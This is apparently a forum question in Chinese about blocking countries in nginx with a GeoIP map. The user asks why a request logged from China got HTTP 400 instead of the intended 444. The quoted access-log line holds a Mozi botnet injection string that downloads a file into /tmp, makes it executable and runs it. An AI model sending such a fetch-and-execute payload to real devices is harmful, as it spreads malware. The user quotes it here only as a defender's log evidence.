我正在尝试在 nginx 网络服务器上实现带有地图的国家区块。
这是我的服务器配置:
include snippets/ban-country-codes.conf;
include snippets/ban-user-agent.conf;
server {
listen 80 default_server;
server_name _;
# Disallow access based on GeoIP
if ($allowed_country = no) {
return 444;
}
# Disallow access based on user agent
if ($allowed_useragent = no) {
return 444;
}
access_log /var/log/nginx/dehydrated80.access.log combinedplusgeoip;
error_log /var/log/nginx/dehydrated80.error.log;
location ^~ /.well-known/acme-challenge {
default_type "text/plain";
auth_basic "off";
alias /var/www/dehydrated;
}
#redirect all other urls to https
location / {
return 301 https://$host$request_uri;
}
}
这是实施禁令的代码片段(片段/ban-country-codes.conf):
map $geoip_country_code3 $allowed_country {
'' no;
CHN no;
default yes;
}
理论上,nginx 应该对来自 CHN 的客户端和没有地理标识的客户端返回 444(关闭连接)。
不幸的是我在我的日志中看到了这个(自定义格式)联合加geoip,我添加了 geoip 信息的组合格式):
<ipaddress> CHN - - [14/Oct/2020:11:02:37 +0200] "27;wget%20http://%s:%d/Mozi.m%20-O%20->%20/tmp/Mozi.m;chmod%20777%20/tmp/Mozi.m;/tmp/Mozi.m%20dlink.mips%27$ HTTP/1.0" 400 166 "-" "-"
服务器响应 400(当然,这是一个恶意请求),而不是预期的 444。
这怎么可能?